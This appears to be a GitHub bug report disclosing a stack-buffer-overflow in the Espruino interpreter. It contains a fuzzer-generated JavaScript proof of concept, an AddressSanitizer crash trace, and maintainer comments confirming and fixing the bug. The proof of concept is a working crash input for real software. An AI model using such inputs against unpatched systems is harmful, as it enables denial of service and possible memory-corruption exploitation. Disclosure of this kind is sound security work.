New issue

Jump to bottom

stack-buffer-overflow jsvar.c:108:51 in jsvIsArray #2142

Closed Q1IQ opened this issue on Feb 8 · 2 comments

Q1IQ commented on Feb 8

Environment

```
OS      : Linux ubuntu 5.13.0-27-generic #29~20.04.1-Ubuntu SMP Fri Jan 14 00:32:30 UTC 2022
x86_64 x86_64 x86_64 GNU/Linux
Commit  : a8c74cbe557924dec90cc0da4f7a6a180a1a47d6
Version : 2v11
Build   : CFLAGS += -fsanitize=address -fno-omit-frame-pointer
```

Proof of concept

```
function main() {
var a0 = 0xdeadbeef;
var a1 = 0xdeadbeef;
var a2 = /\D/;
var a5 = Uint8ClampedArray(52251);
var a6 = 0xdeadbeef;
var a7 = 0xdeadbeef;
var a10 = 0xdeadbeef;
function a11() {
    var a14 = 0xdeadbeef;
    var a15 = 0xdeadbeef;
    var a16 = 0xdeadbeef;
    var a18 = 0xdeadbeef;
    var a20 = [-111111.222222222,-111111.222222222,Infinity,-111111.222222222,-111111.222222222];
    var a21 = a20.join();
    var a23 = [0xde,0xde,0xde,0xde];
    var a24 = 0xdeadbeef;
    var a26 = 0xdeadbeef;
    var a27 = 0xdeadbeef;
    var a28 = 0xdeadbeef;
    var a29 = 0xdeadbeef;
    var a30 = 0xdeadbeef;
    var a31 = 0xdeadbeef;
```

```
    var a33 = 0xdeadbeef;
    var a34 = 0xdeadbeef;
    var a38 = 0xdeadbeef;
    var a39 = 0xdeadbeef;
    var a42 = 0xdeadbeef;
    var a45 = 0xdeadbeef;
    var a35 = InternalError();
    var a36 = delete a21.constructor;
    var a41 = [0xde,0xde,0xde,0xde];
    var a43 = [0xde,0xde,0xde,0xde];
    var a44 = [0xde,0xde,0xde,0xde];
    var a46 = /U\d/;
    var a48 = [0xde,0xde,0xde,0xde];
    Array[133713371337] <<= 133713371337;
    var a52 =
[-111111.222222222,-111111.222222222,-111111.222222222,-111111.222222222,-111111.222222222];
    var a53 = delete a52.__proto__;
    a52.valueOf = 255;
    var a56 = Date("q1iq");
    a41.__proto__ = a46;
    var a57 = 0xdeadbeef;
    var a58 = 0xdeadbeef;
    var a59 = 0xdeadbeef;
    var a61 = 0xdeadbeef;
    var a62 = 0xdeadbeef;
    var a60 = [0xde,0xde,0xde,0xde];
    var a63 = 0;
    var a64 = a63++;
}
var a67 = a11();
var a68 = a11();
}
main();
```

Stack dump

```
=================================================================
==3665868==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffc3be0ba49 at pc
0x0000004e2087 bp 0x7ffc3be0b690 sp 0x7ffc3be0b688
READ of size 2 at 0x7ffc3be0ba49 thread T0
    #0 0x4e2086 in jsvIsArray /home/q1iq/Documents/origin/Espruino/src/jsvar.c:108:51
    #1 0x4f5d90 in jsvGetArrayLength /home/q1iq/Documents/origin/Espruino/src/jsvar.c:2942:3
    #2 0x6479c2 in jswrap_date_constructor
/home/q1iq/Documents/origin/Espruino/src/jswrap_date.c:212:7
    #3 0x512238 in jsnCallFunction /home/q1iq/Documents/origin/Espruino/src/jsnative.c:223:18
    #4 0x5184ea in jspeFunctionCall /home/q1iq/Documents/origin/Espruino/src/jsparse.c:609:21
    #5 0x51c11d in jspeFactorFunctionCall
/home/q1iq/Documents/origin/Espruino/src/jsparse.c:1184:11
    #6 0x5227fa in jspePostfixExpression /home/q1iq/Documents/origin/Espruino/src/jsparse.c:1787:9
    #7 0x522d49 in jspeUnaryExpression /home/q1iq/Documents/origin/Espruino/src/jsparse.c:1813:12
    #8 0x523b18 in jspeBinaryExpression /home/q1iq/Documents/origin/Espruino/src/jsparse.c:1956:33
    #9 0x524028 in jspeConditionalExpression
```

```
/home/q1iq/Documents/origin/Espruino/src/jsparse.c:1992:38
    #10 0x524bb8 in jspeAssignmentExpression
/home/q1iq/Documents/origin/Espruino/src/jsparse.c:2051:37
    #11 0x525f02 in jspeStatementVar /home/q1iq/Documents/origin/Espruino/src/jsparse.c:2166:34
    #12 0x52cddb in jspeStatement /home/q1iq/Documents/origin/Espruino/src/jsparse.c:2770:12
    #13 0x5252f0 in jspeBlockNoBrackets /home/q1iq/Documents/origin/Espruino/src/jsparse.c:2085:18
    #14 0x51991d in jspeFunctionCall /home/q1iq/Documents/origin/Espruino/src/jsparse.c:796:15
    #15 0x51c11d in jspeFactorFunctionCall
/home/q1iq/Documents/origin/Espruino/src/jsparse.c:1184:11
    #16 0x5227fa in jspePostfixExpression
/home/q1iq/Documents/origin/Espruino/src/jsparse.c:1787:9
    #17 0x522d49 in jspeUnaryExpression /home/q1iq/Documents/origin/Espruino/src/jsparse.c:1813:12
    #18 0x523b18 in jspeBinaryExpression
/home/q1iq/Documents/origin/Espruino/src/jsparse.c:1956:33
    #19 0x524028 in jspeConditionalExpression
/home/q1iq/Documents/origin/Espruino/src/jsparse.c:1992:38
    #20 0x524bb8 in jspeAssignmentExpression
/home/q1iq/Documents/origin/Espruino/src/jsparse.c:2051:37
    #21 0x525f02 in jspeStatementVar /home/q1iq/Documents/origin/Espruino/src/jsparse.c:2166:34
    #22 0x52cddb in jspeStatement /home/q1iq/Documents/origin/Espruino/src/jsparse.c:2770:12
    #23 0x5252f0 in jspeBlockNoBrackets /home/q1iq/Documents/origin/Espruino/src/jsparse.c:2085:18
    #24 0x51991d in jspeFunctionCall /home/q1iq/Documents/origin/Espruino/src/jsparse.c:796:15
    #25 0x51c11d in jspeFactorFunctionCall
/home/q1iq/Documents/origin/Espruino/src/jsparse.c:1184:11
    #26 0x5227fa in jspePostfixExpression
/home/q1iq/Documents/origin/Espruino/src/jsparse.c:1787:9
    #27 0x522d49 in jspeUnaryExpression /home/q1iq/Documents/origin/Espruino/src/jsparse.c:1813:12
    #28 0x523b18 in jspeBinaryExpression
/home/q1iq/Documents/origin/Espruino/src/jsparse.c:1956:33
    #29 0x524028 in jspeConditionalExpression
/home/q1iq/Documents/origin/Espruino/src/jsparse.c:1992:38
    #30 0x524bb8 in jspeAssignmentExpression
/home/q1iq/Documents/origin/Espruino/src/jsparse.c:2051:37
    #31 0x524c62 in jspeExpression /home/q1iq/Documents/origin/Espruino/src/jsparse.c:2057:16
    #32 0x52c9ba in jspeStatement /home/q1iq/Documents/origin/Espruino/src/jsparse.c:2757:12
    #33 0x5257f7 in jspeBlockOrStatement
/home/q1iq/Documents/origin/Espruino/src/jsparse.c:2125:16
    #34 0x525a93 in jspParse /home/q1iq/Documents/origin/Espruino/src/jsparse.c:2137:9
    #35 0x52e8ad in jspEvaluateVar /home/q1iq/Documents/origin/Espruino/src/jsparse.c:2997:14
    #36 0x52eb38 in jspEvaluate /home/q1iq/Documents/origin/Espruino/src/jsparse.c:3027:9
    #37 0x63a7e8 in main /home/q1iq/Documents/origin/Espruino/targets/linux/main.c:460:15
    #38 0x7fc5064350b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-
start.c:308:16
    #39 0x41c59d in _start (/home/q1iq/Documents/origin/Espruino/espruino+0x41c59d)

Address 0x7ffc3be0ba49 is located in stack of thread T0 at offset 329 in frame
    #0 0x510bef in jsnCallFunction /home/q1iq/Documents/origin/Espruino/src/jsnative.c:59

  This frame has 6 object(s):
    [32, 128) 'argData' (line 87)
    [160, 256) 'doubleData' (line 90)
    [288, 296) 'result' (line 187)
    [320, 328) 'f116' (line 197) <== Memory access at offset 329 overflows this variable
    [352, 360) 'f165' (line 209)
    [384, 392) 'f211' (line 230)
HINT: this may be a false positive if your program uses some custom stack unwind mechanism,
```

```
swapcontext or vfork
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow
/home/q1iq/Documents/origin/Espruino/src/jsvar.c:108:51 in jsvIsArray
Shadow bytes around the buggy address:
  0x1000077b96f0: f8 f8 f8 f3 f3 f3 f3 f3 00 00 00 00 00 00 00 00
  0x1000077b9700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000077b9710: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000077b9720: f1 f1 f1 f1 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000077b9730: f2 f2 f2 f2 00 00 00 00 00 00 00 00 00 00 00 00
=>0x1000077b9740: f2 f2 f2 f2 00 f2 f2 f2 f8[f2]f2 f2 f8 f2 f2 f2
  0x1000077b9750: f8 f3 f3 f3 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000077b9760: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000077b9770: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000077b9780: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x1000077b9790: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==3665868==ABORTING
```

Credit

Q1IQ(**@Q1IQ**)

Q1IQ commented on Feb 8 • edited ▾ Author

Sorry, I tried stripping down the poc, but removing any part makes a different result :(

gfwilliams commented on Feb 8 Member

Thanks! This is a really interesting one... Looks like at some point the code manages to insert a non-name variable as if it's a name. Working on this now

  **gfwilliams** mentioned this issue on Feb 8

stack-buffer-overflow jsvar.c:91:52 in jsvIsString #2143

Closed

 **gfwilliams** closed this as completed in `e069be2` on Feb 8

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants